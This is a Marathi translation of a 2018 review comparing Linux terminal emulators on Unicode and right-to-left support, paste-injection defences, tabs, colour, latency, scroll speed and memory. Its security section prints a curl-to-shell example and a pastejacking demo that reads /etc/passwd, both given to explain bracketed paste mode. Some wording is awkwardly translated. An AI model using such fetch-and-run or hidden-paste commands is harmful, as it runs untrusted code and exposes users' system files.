टर्मिनल एमुलेटरचे विहंगावलोकन

आमच्या ट्रान्सलेशन ब्युरोचे काही शब्द: सहसा प्रत्येकजण नवीनतम सामग्री आणि प्रकाशनांचे भाषांतर करण्याचा प्रयत्न करतो आणि आम्ही त्याला अपवाद नाही. पण टर्मिनल्स असे काही नाहीत जे आठवड्यातून एकदा अपडेट केले जातात. म्हणूनच, आम्ही तुमच्यासाठी 2018 च्या वसंत ऋतूमध्ये प्रकाशित झालेल्या अँटोनी ब्युप्रेच्या लेखाचे भाषांतर केले आहे: आधुनिक मानकांनुसार त्याचे लक्षणीय "वय" असूनही, आमच्या मते, सामग्रीने त्याची प्रासंगिकता अजिबात गमावली नाही. याव्यतिरिक्त, ही मूळतः दोन लेखांची मालिका होती, परंतु आम्ही त्यांना एका मोठ्या पोस्टमध्ये एकत्र करण्याचा निर्णय घेतला.

संगणकाच्या इतिहासात टर्मिनल्सना विशेष स्थान आहे, परंतु अलीकडच्या काही दशकांमध्ये ग्राफिकल इंटरफेस सर्वव्यापी झाल्यामुळे त्यांना कमांड लाइनच्या बाजूने टिकून राहण्यास भाग पाडले गेले आहे. टर्मिनल एमुलेटर त्यांची स्वतःची जागा घेतली हार्डवेअर बंधू, जे, यामधून, पंच केलेले कार्ड आणि टॉगल स्विचवर आधारित सिस्टीमचे बदल होते. आधुनिक वितरण सर्व आकार आणि रंगांच्या विविध टर्मिनल एमुलेटरसह येतात. आणि बरेच जण त्यांच्या कामाच्या वातावरणाद्वारे प्रदान केलेल्या मानक टर्मिनलमध्ये समाधानी आहेत, तर काही अभिमानाने त्यांचे आवडते शेल किंवा मजकूर संपादक चालविण्यासाठी सरळ विदेशी सॉफ्टवेअर वापरतात. परंतु, जसे आपण या लेखातून पाहणार आहोत, सर्व टर्मिनल्स एकाच प्रतिमेमध्ये तयार केले गेले नाहीत: ते कार्यक्षमता, आकार आणि कार्यप्रदर्शनात खूप भिन्न आहेत.

काही टर्मिनल्समध्ये अगदी आश्चर्यकारक सुरक्षा छिद्रे असतात, तसेच बहुतेकांमध्ये टॅब केलेल्या इंटरफेसच्या समर्थनापासून ते स्क्रिप्टिंगपर्यंत पूर्णपणे भिन्न कार्ये असतात. जरी आम्ही दूरच्या भूतकाळातील टर्मिनल एमुलेटरकडे पाहिले, हा लेख मागील सामग्रीचे अपडेट आहे जे वाचकांना 2018 मध्ये कोणते टर्मिनल वापरायचे हे निर्धारित करण्यात मदत करेल. लेखाचा पहिला भाग वैशिष्ट्यांची तुलना करतो आणि दुसरा अर्धा भाग कार्यक्षमतेचे मूल्यांकन करतो.

मी पुनरावलोकन केलेले टर्मिनल येथे आहेत:

या कदाचित नवीनतम आवृत्त्या नसतील, कारण मी लेखनाच्या वेळी स्थिर बिल्ड्सपुरते मर्यादित होते, जे मी डेबियन 9 किंवा फेडोरा 27 वर रोल आउट करू शकलो. फक्त अपवाद म्हणजे अलक्रिटी. हे GPU-प्रवेगक टर्मिनल्सचे वंशज आहे आणि या कार्यासाठी असामान्य आणि नवीन भाषेत लिहिलेले आहे - गंज. मी माझ्या पुनरावलोकनातून वेब टर्मिनल्स वगळले आहेत (त्यांसह इलेक्ट्रॉन), कारण प्राथमिक चाचण्यांमध्ये त्यांची अत्यंत खराब कामगिरी दिसून आली.

युनिकोड समर्थन

मी माझ्या चाचण्या युनिकोड सपोर्टने सुरू केल्या. टर्मिनल्सची पहिली चाचणी म्हणजे युनिकोड स्ट्रिंग वरून प्रदर्शित करणे विकिपीडिया लेख: “é, Δ, И, ק, م, ๗, あ, 叶, 葉 आणि 말.” ही साधी चाचणी जगभरात टर्मिनल योग्यरित्या कार्य करू शकते की नाही हे दर्शवते. xterm टर्मिनल अरबी वर्ण प्रदर्शित करत नाही मेम डीफॉल्ट कॉन्फिगरेशनमध्ये:

डीफॉल्टनुसार, xterm क्लासिक "फिक्स्ड" फॉन्ट वापरते, जे त्यानुसार अजूनही तोच विकी, "1997 पासून भरीव युनिकोड कव्हरेज" आहे. या फॉन्टमध्ये असे काहीतरी चालले आहे ज्यामुळे वर्ण रिक्त फ्रेम म्हणून दिसून येतो आणि जेव्हा मजकूर फॉन्ट 20+ पॉइंट्सपर्यंत वाढवला जातो तेव्हाच वर्ण शेवटी योग्यरित्या प्रदर्शित होऊ लागतो. तथापि, हे "फिक्स" इतर युनिकोड वर्णांचे प्रदर्शन खंडित करते:

हे स्क्रीनशॉट्स Fedora 27 मध्ये घेतले गेले होते, कारण ते डेबियन 9 पेक्षा चांगले परिणाम देतात, जेथे टर्मिनल्सच्या काही जुन्या आवृत्त्या (विशेषत: mlterm) फॉन्ट योग्यरित्या हाताळू शकत नाहीत. सुदैवाने हे नंतरच्या आवृत्त्यांमध्ये निश्चित केले गेले.

आता लक्ष द्या xterm मध्ये ओळ कशी प्रदर्शित होते. हे चिन्ह मेम आणि खालील सेमिटिक बाहेर वळते qoph RTL शैली स्क्रिप्टचा संदर्भ घ्या (उजवीकडून डावीकडे), त्यामुळे तांत्रिकदृष्ट्या ते उजवीकडून डावीकडे प्रदर्शित केले जावे. फायरफॉक्स 57 सारखे वेब ब्राउझर वरील ओळ योग्यरित्या हाताळतात. RTL मजकूराची सोपी आवृत्ती हा शब्द आहे "Сара" हिब्रू मध्ये (सारा). द्विदिशात्मक मजकुरावरील विकी पृष्ठ खालील म्हणते:

“अनेक संगणक प्रोग्राम द्विदिशात्मक मजकूर योग्यरित्या प्रदर्शित करू शकत नाहीत. उदाहरणार्थ, हिब्रू नाव "सारा" मध्ये sin (ש) (जे उजवीकडे दिसते), नंतर resh (ר) आणि शेवटी he (ה) (जे डावीकडे दिसले पाहिजे) या वर्णांचा समावेश आहे."

अनेक टर्मिनल या चाचणीत अयशस्वी ठरतात: Alacritty, VTE-व्युत्पन्न Gnome आणि XFCE टर्मिनल्स, urxvt, st आणि xterm "सारा" उलट क्रमाने प्रदर्शित करतात, जणू आम्ही "अरास" असे नाव लिहिले आहे.

द्विदिशात्मक मजकुराची आणखी एक समस्या अशी आहे की त्यांना कसेतरी संरेखित करणे आवश्यक आहे, विशेषत: जेव्हा RTL आणि LTR मजकूर मिसळण्याचा विचार येतो. RTL स्क्रिप्ट टर्मिनल विंडोच्या उजव्या बाजूने चालल्या पाहिजेत, परंतु LTR इंग्रजीमध्ये डीफॉल्ट असलेल्या टर्मिनल्ससाठी काय करावे? त्यांपैकी बहुतेकांकडे कोणतीही विशेष यंत्रणा नसतात आणि सर्व मजकूर डावीकडे संरेखित करतात (कोन्सोलसह). अपवाद pterm आणि mlterm आहेत, जे मानकांचे पालन करतात आणि अशा रेषा उजव्या-संरेखित करतात.

अंतर्भूत संरक्षण

मी ओळखलेलं पुढील गंभीर वैशिष्ट्य म्हणजे अंतर्भूत विरोधी संरक्षण. जरी हे सर्वत्र ज्ञात आहे की असे शब्दलेखन:

$ curl http://example.com/ | sh

कोड एक्झिक्युशन पुश कमांड्स आहेत, काही लोकांना माहित आहे की वेब ब्राउझरवरून कॉपी आणि पेस्ट करताना लपविलेल्या कमांड कन्सोलमध्ये डोकावून जाऊ शकतात, अगदी काळजीपूर्वक तपासणी केल्यानंतरही. सत्यापन साइट Gianna Horna कमांड किती निरुपद्रवी दिसत आहे हे चमकदारपणे दाखवते:

git clone git: //git.kernel.org/pub/scm/utils/kup/kup.git

हॉर्नच्या वेबसाइटवरून टर्मिनलमध्ये पेस्ट केल्यावर अशा प्रकारचा उपद्रव होतो:

git clone /dev/null;
    clear;
	echo -n "Hello ";
	whoami|tr -d 'n';
	echo -e '!nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust! 
	Here'"'"'s the first line of your /etc/passwd: ';
	head -n1 /etc/passwd
	git clone git://git.kernel.org/pub/scm/utils/kup/kup.git

हे कसे कार्य करते? ब्लॉकमध्ये दुर्भावनायुक्त कोड समाविष्ट केला आहे , जे CSS वापरून वापरकर्त्याच्या दृश्याबाहेर हलवले जाते.

ब्रॅकेटेड पेस्ट मोड स्पष्टपणे अशा हल्ल्यांना तटस्थ करण्यासाठी डिझाइन केलेले आहे. या मोडमध्ये, शेलला मजकूराच्या उत्पत्तीबद्दल सांगण्यासाठी टर्मिनल्स पेस्ट केलेला मजकूर विशेष एस्केप सीक्वेन्सच्या जोडीमध्ये बंद करतात. हे शेलला सांगते की ते पेस्ट केलेल्या मजकुरात असलेल्या विशेष वर्णांकडे दुर्लक्ष करू शकते. आदरणीय xterm वरील सर्व टर्मिनल या वैशिष्ट्यास समर्थन देतात, परंतु ब्रॅकेट मोडमध्ये पेस्ट करण्यासाठी टर्मिनलवर चालू असलेल्या शेल किंवा अनुप्रयोगाकडून समर्थन आवश्यक आहे. उदाहरणार्थ, सॉफ्टवेअर वापरणे GNU रीडलाइन (समान बॅश), फाइल आवश्यक आहे ~/.inputrc:

set enable-bracketed-paste on

दुर्दैवाने, हॉर्नची चाचणी साइट हे देखील दर्शवते की मजकूर स्वरूपनाद्वारे हे संरक्षण कसे बायपास करायचे आणि अकालीच त्यावर कंस मोड लागू करणे. हे कार्य करते कारण काही टर्मिनल त्यांचे स्वतःचे जोडण्यापूर्वी एस्केप सीक्वेन्स योग्यरित्या फिल्टर करत नाहीत. उदाहरणार्थ, माझ्यामध्ये मी योग्य कॉन्फिगरेशनसह देखील कॉन्सोल चाचण्या यशस्वीपणे पूर्ण करू शकलो नाही. .inputrc फाइल याचा अर्थ असा आहे की असमर्थित अनुप्रयोगामुळे किंवा चुकीच्या पद्धतीने कॉन्फिगर केलेल्या शेलमुळे तुम्ही तुमचे सिस्टम कॉन्फिगरेशन सहजपणे खराब करू शकता. रिमोट सर्व्हरमध्ये लॉग इन करताना हे विशेषतः धोकादायक आहे, जेथे काळजीपूर्वक कॉन्फिगरेशनचे काम कमी सामान्य आहे, विशेषत: आपल्याकडे अशा अनेक रिमोट मशीन असल्यास.

या समस्येचा एक चांगला उपाय म्हणजे टर्मिनलसाठी पेस्ट पुष्टीकरण प्लगइन urxvt, जे नवीन ओळींचा समावेश असलेला कोणताही मजकूर घालण्यासाठी परवानगी मागते. हॉर्नने वर्णन केलेल्या मजकूर हल्ल्यासाठी मला अधिक सुरक्षित पर्याय सापडला नाही.

टॅब आणि प्रोफाइल

सध्या एक लोकप्रिय वैशिष्ट्य म्हणजे टॅब केलेल्या इंटरफेससाठी समर्थन आहे, ज्याला आम्ही एक टर्मिनल विंडो म्हणून परिभाषित करू ज्यामध्ये इतर अनेक टर्मिनल आहेत. हे फंक्शन वेगवेगळ्या टर्मिनल्ससाठी वेगळे आहे, आणि जरी पारंपारिक xterm टर्मिनल्स टॅबला अजिबात समर्थन देत नसले तरी, Xfce टर्मिनल, GNOME टर्मिनल आणि कॉन्सोल सारख्या अधिक आधुनिक टर्मिनल अवतारांमध्ये हे कार्य आहे. Urxvt टॅबला देखील सपोर्ट करते, परंतु तुम्ही प्लगइन वापरत असाल तरच. परंतु टॅब सपोर्टच्या बाबतीतच, टर्मिनेटर हा निर्विवाद नेता आहे: तो केवळ टॅबलाच सपोर्ट करत नाही तर टर्मिनल्स देखील कोणत्याही क्रमाने व्यवस्थित करू शकतो (खाली प्रतिमा पहा).

टर्मिनेटरचे आणखी एक वैशिष्ट्य म्हणजे हे टॅब एकत्र "ग्रुप" करण्याची आणि एकाच वेळी अनेक टर्मिनल्सवर समान कीस्ट्रोक पाठवण्याची क्षमता, अनेक सर्व्हरवर एकाच वेळी मोठ्या प्रमाणात ऑपरेशन्स करण्यासाठी एक क्रूड टूल प्रदान करते. तत्सम वैशिष्ट्य Konsole मध्ये देखील लागू केले आहे. हे वैशिष्ट्य इतर टर्मिनल्समध्ये वापरण्यासाठी, तुम्ही तृतीय-पक्ष सॉफ्टवेअर वापरणे आवश्यक आहे जसे की क्लस्टर SSH, xlax किंवा टीएमक्स.

प्रोफाईलसह जोडलेले असताना टॅब विशेषतः चांगले कार्य करतात: उदाहरणार्थ, तुमच्याकडे ईमेलसाठी एक टॅब, चॅटसाठी दुसरा टॅब असू शकतो. हे Konsole टर्मिनल आणि GNOME टर्मिनल द्वारे समर्थित आहे. दोन्ही प्रत्येक टॅबला स्वतःचे प्रोफाइल स्वयंचलितपणे लाँच करण्याची परवानगी देतात. टर्मिनेटर प्रोफाइलला देखील सपोर्ट करतो, परंतु तुम्ही विशिष्ट टॅब उघडता तेव्हा काही प्रोग्राम स्वयंचलितपणे लॉन्च करण्याचा मार्ग मला सापडला नाही. इतर टर्मिनल्समध्ये "प्रोफाइल" ही संकल्पना अजिबात नाही.

रफल्स

या लेखाच्या पहिल्या भागात मी शेवटची गोष्ट कव्हर करणार आहे ती म्हणजे टर्मिनल्सचे स्वरूप. उदाहरणार्थ GNOME, Xfce आणि urxvt पारदर्शकतेला समर्थन देतात, परंतु अलीकडेच पार्श्वभूमी प्रतिमांसाठी समर्थन सोडले आहे, काही वापरकर्त्यांना टर्मिनलवर जाण्यास भाग पाडले आहे. टिलिक्स. वैयक्तिकरित्या, मी याबद्दल आनंदी आहे आणि ते सोपे आहे क्षेञस्रोत, जे urxvt साठी पार्श्वभूमी रंगांचा बेस सेट सेट करते. तथापि, नॉन-स्टँडर्ड कलर थीम देखील समस्या निर्माण करू शकतात. उदाहरणार्थ, सोलारिझ्ड काम करत नाही अनुप्रयोगांसह पळवाट и आयपीट्राफ, कारण ते आधीच त्यांचे स्वतःचे रंग वापरतात.

मूळ VT100 टर्मिनल रंगांना समर्थन देत नाही आणि नवीन बहुतेक वेळा 256-रंग पॅलेटपर्यंत मर्यादित होते. प्रगत वापरकर्त्यांसाठी जे त्यांचे टर्मिनल, शेल प्रॉम्प्ट किंवा स्टेटस बार जटिल मार्गांनी शैलीबद्ध करतात त्यांच्यासाठी त्रासदायक मर्यादा असू शकते. सारांश कोणत्या टर्मिनलला "ट्रू कलर" सपोर्ट आहे ते ट्रॅक करते. माझ्या चाचण्या पुष्टी करतात की st, Alacritty आणि VTE-आधारित टर्मिनल्स True Color चे समर्थन करतात. इतर टर्मिनल्स या संदर्भात फार चांगले भाडे देत नाहीत आणि खरं तर, 256 रंग देखील प्रदर्शित करत नाहीत. खाली तुम्ही GNOME टर्मिनल्स, st आणि xterm मधील ट्रू कलर सपोर्टमधील फरक पाहू शकता, जे त्यांच्या 256 कलर पॅलेटसह चांगले काम करतात आणि urxvt, जे केवळ चाचणीतच अपयशी ठरत नाही, तर त्याऐवजी काही लुकलुकणारी अक्षरे देखील दाखवतात.

लिंक क्लिक करण्यायोग्य बनवण्यासाठी काही टर्मिनल URL पॅटर्नसाठी मजकूराचे विश्लेषण देखील करतात. हे सर्व VTE-व्युत्पन्न टर्मिनल्सना लागू होते, तर urxvt ला एका विशेष प्लगइनची आवश्यकता असते जे एका क्लिकवर किंवा कीबोर्ड शॉर्टकट वापरून URL चे रूपांतर करेल. इतर टर्मिनल्सची मी इतर मार्गांनी प्रदर्शन URL ची चाचणी केली आहे.

शेवटी, टर्मिनल्समधील एक नवीन ट्रेंड म्हणजे स्क्रोल बफरची पर्यायीता. उदाहरणार्थ, st, स्क्रोल बफर नाही; असे गृहीत धरले जाते की वापरकर्ता टर्मिनल मल्टीप्लेक्सर जसे की tmux आणि वापरेल जीएनयू स्क्रीन.

अ‍ॅलेक्रिटीमध्ये बॅकस्क्रोल बफर देखील नाहीत, परंतु लवकरच जोडले जाईल वापरकर्त्यांकडून या विषयावरील "विस्तृत अभिप्राय" मुळे त्याचे समर्थन. या अपस्टार्ट्स व्यतिरिक्त, मी तपासलेले प्रत्येक टर्मिनल मला रिव्हर्स स्क्रोलिंगला समर्थन देते.

उपटोटल

साहित्याच्या दुसऱ्या भागात (मूळमध्ये हे दोन भिन्न लेख होते - अंदाजे. लेन) आम्ही कामगिरी, मेमरी वापर आणि विलंबता यांची तुलना करू. परंतु आम्ही आधीच पाहू शकतो की प्रश्नातील काही टर्मिनल्समध्ये गंभीर कमतरता आहेत. उदाहरणार्थ, जे वापरकर्ते नियमितपणे RTL स्क्रिप्टसह काम करतात त्यांना mlterm आणि pterm विचारात घ्यायचे आहे, कारण ते इतरांपेक्षा समान कार्ये हाताळण्यात चांगले आहेत. कॉन्सोलनेही चांगली कामगिरी केली. जे वापरकर्ते RTL स्क्रिप्टसह कार्य करत नाहीत ते दुसरे काहीतरी निवडू शकतात.

दुर्भावनापूर्ण कोड घालण्यापासून संरक्षणाच्या बाबतीत, urxvt या प्रकारच्या हल्ल्यापासून संरक्षणाच्या विशेष अंमलबजावणीमुळे वेगळे आहे, जे मला निश्चितपणे सोयीचे वाटते. जे काही घंटा आणि शिट्ट्या शोधत आहेत त्यांच्यासाठी, Konsole पाहण्यासारखे आहे. शेवटी, हे लक्षात घेण्यासारखे आहे की टर्मिनल्ससाठी VTE हा एक उत्कृष्ट आधार आहे, जो रंग समर्थन, URL ओळख इत्यादीची हमी देतो. पहिल्या दृष्टीक्षेपात, आपल्या आवडत्या वातावरणासह येणारे डीफॉल्ट टर्मिनल सर्व आवश्यकता पूर्ण करू शकते, परंतु आम्हाला कार्यप्रदर्शन समजेपर्यंत हा प्रश्न खुला सोडूया.

चला संभाषण सुरू ठेवूया

सर्वसाधारणपणे, टर्मिनल्सचे कार्यप्रदर्शन स्वतःच एक दूरगामी समस्या असल्यासारखे वाटू शकते, परंतु जसे हे दिसून येते की, त्यापैकी काही अशा मूलभूत प्रकारच्या सॉफ्टवेअरसाठी आश्चर्यकारकपणे उच्च विलंब दर्शवतात. तसेच पुढे आपण पारंपारिकपणे “स्पीड” (खरं तर हा स्क्रोलिंग स्पीड आहे) आणि टर्मिनलचा मेमरी वापर (हे आजच्या दशकांपूर्वी इतके गंभीर नाही या चेतावणीसह) पाहणार आहोत.

विलंब

टर्मिनल कामगिरीचा सखोल अभ्यास केल्यानंतर, मी या निष्कर्षापर्यंत पोहोचलो की या संदर्भात सर्वात महत्त्वाचा पॅरामीटर म्हणजे विलंब (पिंग) आहे. त्याच्या लेखात “आम्ही आनंदाने छापतो” पावेल फॅटिनने विविध मजकूर संपादकांच्या विलंबाकडे पाहिले आणि सूचित केले की या संदर्भात टर्मिनल्स वेगवान मजकूर संपादकांपेक्षा हळू असू शकतात. या इशाऱ्यानेच शेवटी मला माझ्या स्वतःच्या चाचण्या घेण्यास आणि हा लेख लिहिण्यास प्रवृत्त केले.

पण विलंब म्हणजे काय आणि ते इतके महत्त्वाचे का आहे? त्याच्या लेखात, फॅटिनने "की दाबणे आणि संबंधित स्क्रीन अपडेट दरम्यानचा विलंब" अशी व्याख्या केली आहे आणि उद्धृत केले आहे "मानवी-संगणक परस्परसंवादासाठी मार्गदर्शक", जे म्हणते: "संगणक डिस्प्लेवर व्हिज्युअल फीडबॅकमध्ये होणारा विलंब टायपिस्टच्या वर्तनावर आणि समाधानावर महत्त्वपूर्ण प्रभाव पाडतो."

फॅटिन स्पष्ट करतात की या पिंगचे समाधानापेक्षा अधिक सखोल परिणाम आहेत: "टायपिंग हळू होते, अधिक चुका होतात आणि डोळा आणि स्नायूंचा ताण वाढतो." दुसऱ्या शब्दांत, मोठ्या विलंबामुळे टायपॉस होऊ शकतो आणि कोडची गुणवत्ता देखील कमी होऊ शकते, कारण यामुळे मेंदूवर अतिरिक्त संज्ञानात्मक भार पडतो. पण सर्वात वाईट म्हणजे पिंग "डोळ्याचा आणि स्नायूंचा ताण वाढवते," असे दिसते व्यावसायिक जखमांचा विकास भविष्यात (वरवर पाहता, लेखक म्हणजे डोळे, पाठ, हात आणि अर्थातच दृष्टी - अंदाजे स्नायूंच्या समस्या. लेन) पुनरावृत्ती तणावामुळे.

यापैकी काही प्रभाव बर्याच काळापासून ज्ञात आहेत, आणि परिणाम संशोधन, 1976 मध्ये एर्गोनॉमिक्स जर्नलमध्ये परत प्रकाशित झाले, असे म्हटले आहे की 100 मिलिसेकंदांचा विलंब "लक्षणीयपणे टायपिंग गती कमी करते." अगदी अलीकडे, GNOME वापरकर्ता मार्गदर्शक सादर केले स्वीकार्य प्रतिसाद वेळ 10 मिलीसेकंदात, आणि जर तुम्ही पुढे गेलात तर मायक्रोसॉफ्ट रिसर्च दाखवते की 1 मिलीसेकंद आदर्श आहे.

फॅटिनने मजकूर संपादकांवर त्याच्या चाचण्या घेतल्या; त्याने नावाचे पोर्टेबल इन्स्ट्रुमेंट तयार केले टायपोमीटर, जे मी टर्मिनल एमुलेटरमध्ये पिंग चाचणी करण्यासाठी वापरले. लक्षात ठेवा की चाचणी सिम्युलेशन मोडमध्ये आयोजित केली गेली होती: प्रत्यक्षात, आम्हाला इनपुट (कीबोर्ड, यूएसबी कंट्रोलर इ.) आणि आउटपुट (व्हिडिओ कार्ड बफर, मॉनिटर) विलंब दोन्ही विचारात घेणे आवश्यक आहे. फॅटिनच्या मते, ठराविक कॉन्फिगरेशनमध्ये ते सुमारे 20 एमएस आहे. तुमच्याकडे गेमिंग उपकरणे असल्यास, तुम्ही हा आकडा फक्त 3 मिलिसेकंदात गाठू शकता. आमच्याकडे आधीच इतके वेगवान हार्डवेअर असल्याने, ऍप्लिकेशनला स्वतःची लेटन्सी जोडण्याची गरज नाही. ऍप्लिकेशन लेटन्सी 1 मिलीसेकंद पर्यंत आणणे किंवा डायल न करता देखील साध्य करणे हे फॅटिनचे ध्येय आहे मोजण्यायोग्य विलंब, कसे मध्ये इंटेलिज जे आयडीईए 15.

माझा प्रयोग त्याच्या चाचण्यांशी सहमत आहे हे दर्शविण्यासाठी माझ्या मोजमापांचे, तसेच फॅटिनचे काही परिणाम येथे आहेत:

xterm आणि mlterm सारख्या जुन्या प्रोग्रामचा उत्तम प्रतिसाद वेळ ही पहिली गोष्ट मला प्रभावित झाली. सर्वात वाईट नोंदणी विलंब (2,4 ms) सह, त्यांनी सर्वात वेगवान आधुनिक टर्मिनल (स्ट साठी 10,6 ms) पेक्षा चांगली कामगिरी केली. कोणतेही आधुनिक टर्मिनल 10 मिलीसेकंद थ्रेशोल्डच्या खाली येत नाही. विशेषतः, 2017 मधील पहिल्या पुनरावलोकनानंतर त्याचे स्कोअर सुधारले असले तरी, "सर्वात वेगवान टर्मिनल एमुलेटर उपलब्ध" दाव्याची पूर्तता करण्यात अलाक्रिटी अपयशी ठरली आहे. खरंच, प्रकल्पाचे लेखक परिस्थितीची जाणीव आहे आणि डिस्प्ले सुधारण्यासाठी काम करत आहेत. हे देखील लक्षात घेतले पाहिजे की GTK3 वापरणारा Vim हा त्याच्या GTK2 समकक्ष पेक्षा कमी तीव्रतेचा क्रम आहे. यावरून आपण असा निष्कर्ष काढू शकतो की GTK3 अतिरिक्त लेटन्सी निर्माण करतो आणि हे इतर सर्व टर्मिनल्समध्ये दिसून येते जे त्याचा वापर करतात (टर्मिनेटर, Xfce4 टर्मिनल आणि GNOME टर्मिनल).

तथापि, फरक डोळ्यांना लक्षात येऊ शकत नाहीत. फॅटिनने स्पष्ट केल्याप्रमाणे, "तुमच्यावर परिणाम होण्यासाठी तुम्हाला विलंबाची जाणीव असण्याची गरज नाही." फॅटिन मानक विचलनाबद्दल देखील चेतावणी देतात: "विलंबता (जिटर) मध्ये कोणताही अडथळा त्यांच्या अप्रत्याशिततेमुळे अतिरिक्त ताण निर्माण करतो."

वरील आलेख शुद्ध डेबियन 9 (स्ट्रेच) सह घेतलेला आहे i3 विंडो व्यवस्थापक. हे वातावरण लेटन्सी चाचण्यांमध्ये सर्वोत्तम परिणाम देते. हे दिसून येते की, GNOME सर्व मोजमापांसाठी 20 ms चा अतिरिक्त पिंग तयार करतो. यासाठी संभाव्य स्पष्टीकरण म्हणजे इनपुट इव्हेंट्सच्या सिंक्रोनस प्रोसेसिंगसह प्रोग्रामची उपस्थिती. अशा केससाठी फॅटिन एक उदाहरण देतो वर्करेव्ह, जे सर्व इनपुट इव्हेंट्सवर समक्रमितपणे प्रक्रिया करून विलंब जोडते. डीफॉल्टनुसार, GNOME विंडो व्यवस्थापकासह देखील येतो मटर, जे बफरिंगचा अतिरिक्त स्तर तयार करते, जे पिंगला प्रभावित करते आणि किमान 8 मिलीसेकंद लेटन्सी जोडते.

स्क्रोल गती

पुढील चाचणी पारंपारिक "स्पीड" किंवा "बँडविड्थ" चाचणी आहे, जी स्क्रीनवर मोठ्या प्रमाणात मजकूर प्रदर्शित करताना टर्मिनल किती लवकर पृष्ठ स्क्रोल करू शकते हे मोजते. चाचणीचे यांत्रिकी बदलते; मूळ चाचणी seq कमांड वापरून समान मजकूर स्ट्रिंग तयार करणे होती. इतर चाचण्यांमध्ये थॉमस ई. डिकीची (एक्सटर्म मेंटेनर) चाचणी समाविष्ट आहे, जी वारंवार terminfo.src फाइल डाउनलोड केली आहे. टर्मिनल कामगिरीच्या दुसर्या पुनरावलोकनात डेन लुउ यादृच्छिक बाइट्सची बेस32 एन्कोड केलेली स्ट्रिंग वापरते, जी cat वापरून टर्मिनलवर आउटपुट होते. Luu अशा चाचणीला "कल्पनेनुसार बेंचमार्क म्हणून निरुपयोगी" मानतात आणि त्याऐवजी प्राथमिक मेट्रिक म्हणून टर्मिनल प्रतिसाद वापरण्याचे सुचवतात. डिकी त्याच्या चाचणीला दिशाभूल करणारे देखील म्हणतो. तथापि, दोन्ही लेखक कबूल करतात की टर्मिनल विंडो बँडविड्थ एक समस्या असू शकते. मोठ्या फाईल्स प्रदर्शित करताना Luu ने Emacs Eshell फ्रीझिंग शोधले आणि डिकीने xtrerm च्या व्हिज्युअल आळशीपणापासून मुक्त होण्यासाठी टर्मिनल ऑप्टिमाइझ केले. त्यामुळे या चाचणीमध्ये अजूनही काही योग्यता आहे, परंतु प्रस्तुतीकरण प्रक्रिया टर्मिनल ते टर्मिनलमध्ये खूप वेगळी असल्याने, इतर पॅरामीटर्सची चाचणी घेण्यासाठी ती चाचणी घटक म्हणून देखील वापरली जाऊ शकते.

येथे आपण स्पर्धेच्या पुढे rxvt आणि st पुल पाहतो, त्यानंतर खूप नवीन अॅलक्रिटी, जी कामगिरीवर लक्ष केंद्रित करून डिझाइन केलेली आहे. पुढे Xfce (VTE कुटुंब) आणि Konsole आहेत, जे जवळजवळ दुप्पट वेगवान आहेत. शेवटचा xterm आहे, जो rxvt पेक्षा पाचपट कमी आहे. चाचणी दरम्यान, xterm ने देखील खूप रिप्ले केले, मजकूर पास करणे कठीण होते जरी ती समान ओळ असली तरीही. कॉन्सोल वेगवान होता, परंतु काही वेळा ते अवघड होते: डिस्प्ले वेळोवेळी गोठत असे, आंशिक मजकूर दर्शवितो किंवा अजिबात दाखवत नाही. इतर टर्मिनल्स स्पष्टपणे स्ट्रिंग प्रदर्शित करतात, ज्यात st, Alacritty, आणि rxvt.

डिकी स्पष्ट करतात की कामगिरीतील फरक वेगवेगळ्या टर्मिनल्समधील स्क्रोल बफरच्या डिझाइनमुळे आहेत. विशेषतः, तो rxvt आणि इतर टर्मिनल्सवर "सामान्य नियमांचे पालन करत नाही" असा आरोप करतो:

"xterm च्या विपरीत, rxvt ने सर्व अद्यतने प्रदर्शित करण्याचा प्रयत्न केला नाही. जर ते मागे पडले तर ते पकडण्यासाठी काही अद्यतनांना नकार देईल. याचा अंतर्गत मेमरी संस्थेपेक्षा स्पष्ट स्क्रोलिंग गतीवर जास्त परिणाम झाला. एक दोष म्हणजे ASCII अॅनिमेशन काहीसे अशुद्ध होते."

या समजलेल्या एक्सटर्म आळशीपणाचे निराकरण करण्यासाठी, डिकी संसाधन वापरून सुचवते फास्टस्क्रोल, प्रवाह चालू ठेवण्यासाठी xterm ला काही स्क्रीन अपडेट्स टाकून देण्याची अनुमती देते. माझ्या चाचण्या पुष्टी करतात की फास्टस्क्रॉल कार्यप्रदर्शन सुधारते आणि xterm rxvt च्या बरोबरीने आणते. तथापि, डिकीने स्वत: स्पष्ट केल्याप्रमाणे ही एक उग्र क्रॅच आहे: "कधीकधी xterm - konsole सारखे - काही काढून टाकल्यानंतर स्क्रीन अपडेट्सच्या नवीन सेटची प्रतीक्षा करत असताना ते थांबलेले दिसते." या शिरामध्ये, असे दिसते की इतर टर्मिनल्सना वेग आणि प्रदर्शन अखंडता यांच्यातील सर्वोत्तम तडजोड आढळली आहे.

संसाधनाचा वापर

कार्यप्रदर्शन मेट्रिक म्हणून स्क्रोलिंग गतीचा विचार करण्यात अर्थ आहे की नाही याची पर्वा न करता, ही चाचणी आम्हाला टर्मिनल्सवरील लोडचे अनुकरण करण्यास अनुमती देते, ज्यामुळे आम्हाला मेमरी किंवा डिस्क वापर यासारखे इतर पॅरामीटर्स मोजता येतात. निर्दिष्ट चाचणी चालवून मेट्रिक्स प्राप्त झाले seq पायथन प्रक्रिया निरीक्षण अंतर्गत. त्याने मीटरचा डेटा गोळा केला getrusage() ते ru_maxrss, रक्कम ru_oublock и ru_inblock आणि एक साधा टाइमर.

या चाचणीत, ST 8 MB च्या सर्वात कमी सरासरी मेमरी वापरासह प्रथम क्रमांकावर आहे, जे डिझाइनची मुख्य कल्पना साधेपणा आहे हे लक्षात घेऊन आश्चर्यकारक नाही. mlterm, xterm आणि rxvt थोडे अधिक वापरतात - सुमारे 12 MB. आणखी एक उल्लेखनीय परिणाम म्हणजे अॅलक्रिटी, ज्याला चालवण्यासाठी 30 MB आवश्यक आहे. त्यानंतर व्हीटीई कुटुंबाचे टर्मिनल्स आहेत ज्यात 40 ते 60 एमबी पर्यंतचे आकडे आहेत, जे बरेच आहे. हे टर्मिनल्स उच्च-स्तरीय लायब्ररी वापरतात या वस्तुस्थितीद्वारे हे वापर स्पष्ट केले जाऊ शकते, उदाहरणार्थ, GTK. Console चाचण्यांदरम्यान तब्बल 65MB मेमरी वापरासह सर्वात शेवटी येतो, जरी हे त्याच्या वैशिष्ट्यांच्या विस्तृत श्रेणीद्वारे न्याय्य ठरवले जाऊ शकते.

